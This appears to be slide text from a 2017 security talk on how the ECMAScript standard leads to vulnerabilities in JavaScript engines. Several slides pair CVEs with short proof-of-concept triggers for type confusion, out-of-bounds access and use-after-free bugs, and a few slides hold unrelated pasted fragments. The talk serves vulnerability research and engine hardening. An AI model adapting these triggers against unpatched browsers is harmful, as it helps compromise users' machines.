The Origin of Array [@@species]

How Standards Drive Bugs in Script Engines

Natalie Silvanovich
July 27, 2017
About Me

- Natalie Silvanovich AKA natashenka
- Project Zero member
- Flash researcher
- ECMAScript enthusiast
Outline

- What is ECMAScript?
- How can standards lead to security issues?
- Examples
What is ECMAScript

- ECMAScript == Javascript (mostly)
- Javascript engines implement the ECMAScript standard
ECMAScript History

1995 -- Brendan Eich creates JavaScript (originally Mocha and then LiveScript) and it is released in Netscape

1996 -- IE implements JScript, an implementation of JavaScript

1997 -- ECMAScript 1 released

1998 -- ECMAScript 2 released

1999 -- ECMAScript 3 released
ECMAScript History

2008 -- ECMAScript 4 abandoned

2009 -- ECMAScript 5 released

2011 -- ECMAScript 5.1 released

2015 -- ECMAScript 6 released

2016 -- ECMAScript 7 released
'smash the stack' [C programming] a. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, thread-on-core, memory leak, precedence lossage, overrun screw.

Introduction

Volume Seven, Issue Forty-Nine

File 14 of 10

BugTrap, root, and Underground.Org bring you

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

by Aleph One
aleph1@underground.org
CAN'T WE ALL JUST GET ALONG?
ECMAScript Implementations

- Chakra (Edge)
- V8 (Chrome)
- Spider Monkey (Firefox)
- JSC (WebKit/Safari)
- AVM (Flash)
Problems with standards

- Vulnerability in the standard
- Ill-advised or unnecessary features
- Updates to features
Vulnerable Features

- Weak typing
- Prototype fallback
- Arrays and Objects
- Typed Arrays
- Function.caller
Weak Typing

- ECMAScript is weakly typed
  - ES4 tried to change this, but was abandoned
- Cause of many, many vulnerabilities
Weak Typing

```javascript
var a = 7;
a = "natalie";
a = {};
function f(){ alert("hello"); } 
a = f;
```
Weak Typing

var a = { myprop : 7 };  
a.myprop = "test";
Weak Typing

```javascript
var a = ["astring", 1];
var b = a.join;
b.call(7, arg);
```
var e = new Error();
var o = { message : 7 }
var f = e.toString;
f.call(o);
CVE-2017-0290 (MS MpEngine)

- Type confusion
- Engine assumes Error message member is a string when it is not
CVE-2014-0577 (Flash)

```
Microphone.codec = 0x77777777;
```
CVE-2014-0577 (Flash)

- Type confusion
- AVM assumes codec is a string and processes it
CVE-2016-7240 (Chakra)

```javascript
var p = new Proxy(eval, {});
p("alert()");
```
CVE-2016-7240 (Chakra)

- Type confusion
- `eval` function uses extra parameter internal to the engine
- So does constructor, but it’s of a different type
Going deeper ...

- ECMAScript function calls can be called with any parameters
- The function itself must check type (both user and host functions)
  - Very error prone
- Strictly-typed languages have fewer bugs of this type
- Combines with other bugs to make them more severe
Prototype Fallback

- ECMAScript objects have a prototype member (__proto__) that defines class information
- Can have members, functions, etc.
- Prototype objects also have prototypes, and the entire prototype chain makes up all the object’s properties
Prototype Fallback

- `myString` is an example string.
- `__proto__` is a special property used to access the prototype.
- `length` is a method to get the length of a string.
- `String.prototype` contains `__proto__`, `slice`, `join`, and other properties.
- `Object.prototype` has `__proto__ = null`, `toString`, `valueOf`, and other methods.

...
Prototype Fallback

```javascript
var a = {test : 1};
a.__proto__ = {test2 : 2};
a.test2; // 2
```
Prototype Fallback

```javascript
var a = {test : 1};
a.__proto__ = {test : 2};
a.test; // 1
```
Prototype Fallback

```javascript
var a = {};
a.__proto__ = {test : 2};
a.test = 3;
a.test; // 3
a.__proto__.test; // 2
```
Prototype Fallback

```javascript
var a = {};
a.__proto__ = {test : 2};
a.test = 3;
a.test; // 3
a.__proto__.test; // 2
```
Prototype Fallback

```javascript
var a = {};
a.__proto__ = {};
Object.defineProperty(a.__proto__,
    "test", {set : f});
a.test = 3; // f executed
```
 CVE-2015-0336 (Flash)

```
var b = {};
var n = new NetConnection();
b.__proto__ = n;
NetConnection.connect.call(b, 1);
```
CVE-2015-0336 (Flash)

- Type confusion occurs because type checking the prototype chain, not the specific object
Going deeper ...

- Class inheritance is an important feature, but the ability to change class after instantiation is unusual
- Often a shadow class structure is needed to keep things straight internally
- Many ways to get or set a property, sometimes the wrong one is called
- Functions like sorting and reversing get complex (more later)
Arrays

- Arrays are a foundational element of script engines (second only to Objects)
- Sounds simple, but details are complicated, and get more so with each ECMA version
Array

```javascript
var array = [1, 2, 3, 4];
var array2 = new Array(1, 2, 3, 4);
```
Array

```javascript
var a = ["bob", "joe", "kim"];  
var b = [1, "bob", {}, new RegExp()];  
var c = [[], [[]], [[]], [][]];  
var d = [1, 2, 3];  
d[10000] = 7;
```
Array

```javascript
var a = [1, 2, 3];
a["banana"] = 4;
a.grape = 5;
```
Array

```javascript
var a = [1, 2, 3];
Object.defineProperty(a, "0",
    {value : 1, writable : false});
var b = ["hello"];
Object.freeze(b);
```
var a = [1, 2, 3];

Object.defineProperty(a, "0",
{
get : func,
set : func
});
var a = [0, 1, 2];

a[4] = 4;

a.__proto__ = [0, 1, 2, 3, 4, 5];

alert(a[3]); // is 3
Array

```javascript
var a = [0, 1, 2];
a[4] = 4;
a.__proto__ = [];
Object.defineProperty(a.__proto__, "0", {get : func, set : func});
```
Array

Object.defineProperty(Array.prototype, "0", {get : func, set : func});

var a = [];  
alert(a[0]);  // calls func
Array

```javascript
var a = [0, 2, 1];

a.slice(a, 1); // [2, 1];

a.splice(a, 1, 1, 3, 4); // [0, 3, 4];

a.sort(); // [0, 1, 2];

a.indexOf(1); // 2
```
Array Promotion

- The vast, vast majority of arrays are simple, but some are very complicated
- Every modern browser has multiple array memory layouts and events that trigger transitions between the two
(Simple) Object Format

- Objects are similar to Arrays, but optimized for properties instead of elements
- Similar setup, with simple and dictionary properties and transitions
  - Also exotic types, like deferred and path
- Less bug prone
Objects

```javascript
var o = new Object();
o.prop = "hello";
var o2 = { prop : "hello"};
```
Objects

```javascript
var o = { month: "April", day: 14 }
var o1 = { "1" : 1, "2" : "test"};
var o2 = { prop : { prop : {}}};
var o3 = Object.freeze(o2);
```
Interesting Question

```javascript
var a = [0, 1, 2, 3];

var o = { "0" : 0, "1" : 1, "2" : 2, "3" : 3 };

a.__proto__ = null;
o.__proto__ = null;

Array.prototype.slice.call(a, 0, 2); // [0, 1]
Array.prototype.slice.call(o, 0, 2); // [0, 1];
```
Objects

```javascript
var a = [0, 1, 2, 3];

var o = { "0" : 0, "1" : 1, "2" : 2, "3" : 3 };

o.length = "banana";

a.length = "banana"; //Uncaught RangeError: Invalid array length
```
Script Engine Terminology

- “Fast path” == “when things are normal”
  - Optimized behaviour when objects are in common or expected states
  - But are they?

- “Slow path” == “handles all cases safely and correctly”
  - But does it?
var t = new Array(1,2,3);
    Object.defineProperty(t, '2', {
        get: function() {
            t[0] = {};
            for(var i = 0; i < 100; i++){
                t[i] = {a : i};
            }
            return 7;
        }
    });
var s = [].join.call(t);
CVE-2016-7189 (Chakra)

- An unexpected getter on an array changes the array type in memory
- Array elements are then joined incorrectly
var ba;
  function s()
  {
    ba = this;
  }
  function dummy(){
  }
Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
CVE-2017-2447 (Safari)

- Adding a setter to the Array prototype means every array will call a function when it is set
- Allows access to internal arguments array of Function.bind
- Changing its length leads to an (exploitable) out-of-bounds read
```javascript
var a = [1];
a.length = 1000;
var o = {};
Object.defineProperty(o, '1', { get: function() {
    a.length = 1002;
    j.fill.call(a, 7.7);
    return 2; }});
a.__proto__ = o;
var r = [].reverse.call(a);
```
CVE-2016-7202 (Chakra)

- Setter on an array index allows array length to be changed during a reverse
- Leads to out-of-bounds writes
- This issue has regressed once
Going deeper...

- Array index interceptors have caused a vast number of vulnerabilities
- Legitimate use is unusual
- Some script engines implement a very large amount of code to handle this case
Array.species

“But what if I subclass an array and slice it, and I want the thing I get back to be a regular Array and not the subclass?”

class MyArray extends Array {
    static get [Symbol.species]() {
        return Array;
    }
}

• Easily implemented by inserting a call to script into *every single* Array native call
class dummy{
    constructor(){ return [1, 2, 3]; } 
}
class MyArray extends Array {
    static get [Symbol.species]() { return dummy; }
}
var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);
function test(i){ return true; }
var o = a.filter(test);
CVE-2016-7200 (Chakra)

- The constructor returns an unexpected Array type when called
- Leads to type confusion
var p = new Proxy([], {});
var b_dp = Object.prototype.defineProperty;
class MyArray extends Array {
  static get [Symbol.species]() {
    return function() { return p; };
  }
} var w = new MyArray(100);
function e() {
  w.length = 1;
  return b_dp;
}
Object.prototype.__defineGetter__("defineProperty", e);
var c = Array.prototype.concat.call(w);
CVE-2017-5030 (Chrome)

- The ability to reference the new array, plus other callbacks combine to cause the bug
Going deeper

- Very uncommonly used feature
Typed Array

```javascript
var a = new Uint8Array(5);
var worker = new Worker("some_worker.js");
worker.postMessage({arr: arr}, [arr.buff]);
```
Typed Array

- Transferring a typed array frees its memory
- Called “neutering” or “detachment”
CVE-2016-4734 (Safari)

```javascript
function f()
{
    postMessage("test", "http://127.0.0.1", [q])
    return 0x22345678;
}
var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);
a.copyWithin(0x12345678, o, 0x32345678);
```
CVE-2016-4734 (Safari)

- Buffer is detached during copyWithin call
- Offsets are added to null pointer
var buf = new ArrayBuffer(0x10010);
var numbers = new Uint8Array(buf);

function v(){
    postMessage("test", "http://127.0.0.1", [buf])
    return 7;
}

function compareNumbers(a, b) { return {valueOf : v}; } 
numbers.sort(compareNumbers);
CVE-2016-4734 (Chakra)

- Buffer can be detached during sort, leading to a use-after-free
Going deeper ...

- Detachment saves memory, but is very error prone
- Non-GC memory is part of the problem
Function.caller

```javascript
function f()
{
    alert(f.caller);
}

function g()
{
    f();
}

g();
```
var q;
function g(){
    q = g.caller;
    return 7;
}

a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat([1, 2, 3]);
q(0x77777777, 0x77777777, 0);
CVE-2017-2446 (Safari)

- Function.caller exposed an internal function with no checks
Our worry with `__caller__` at least is that a malicious script could look the caller stack and gain access to powerful functions that wouldn't be protected from calls. Is this not the case with `caller` as well?

If my JavaScript function `f` is called back from chrome, couldn't I use `f.caller` to discover my all-powerful caller and potentially invoke it or access properties of it (like `__parent__`) that would expose dangerous powers?

I may be butting in, but...here I go anyway.

"If my JavaScript function `f` is called back from chrome...", is this chrome... YOU
Conclusions for designers

- Consider feature usage
- Some design decisions are permanent
- Features can affect other features in unexpected ways
Conclusions for developers

- Learn about vulnerabilities in other implementations of a standard
- Regression test bugs from other implementations (and your own)
- Evaluate how new features affect existing code
  - Document and ASSERT assumptions
Conclusions for security

- Reading the standard can help find bugs
- Variants of vulns in one implementation can often affect other implementations
Questions

http://googleprojectzero.blogspot.com/
@natashenka
natalie@natashenka.ca